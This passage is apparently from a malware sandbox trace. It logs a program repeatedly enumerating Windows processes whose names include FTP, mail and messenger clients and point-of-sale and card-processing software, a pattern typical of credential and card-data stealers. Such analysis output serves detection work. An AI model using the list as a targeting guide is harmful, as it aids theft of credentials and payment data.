th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0251.194] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0251.197] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0251.200] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0251.204] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0251.207] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0251.210] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0251.214] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0251.217] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0251.220] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0251.223] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0251.227] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0251.230] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0251.232] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0251.236] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0251.238] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0251.240] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0251.242] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0251.244] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0251.246] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0251.249] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0251.251] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0251.253] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0251.255] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0251.257] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0251.260] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0251.262] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0251.264] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0251.266] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0251.268] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0251.270] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0251.272] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0251.274] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0251.276] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0251.278] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0251.280] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0251.282] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0251.284] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0251.286] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0251.288] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.463] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0251.466] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.468] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0251.470] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0251.473] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0251.476] CloseHandle (hObject=0x2198) returned 1 [0251.476] Sleep (dwMilliseconds=0x64) [0251.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0251.491] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.493] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.495] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.497] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.499] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.500] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.502] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.504] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.506] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.509] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.511] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.513] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.515] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.517] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.519] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.522] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.524] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.526] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.527] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.529] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.531] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.534] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.537] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.540] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.545] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.549] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0251.552] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.555] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.559] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.562] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0251.565] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.568] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.571] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0251.605] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.607] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.610] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.613] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.616] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0251.618] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, 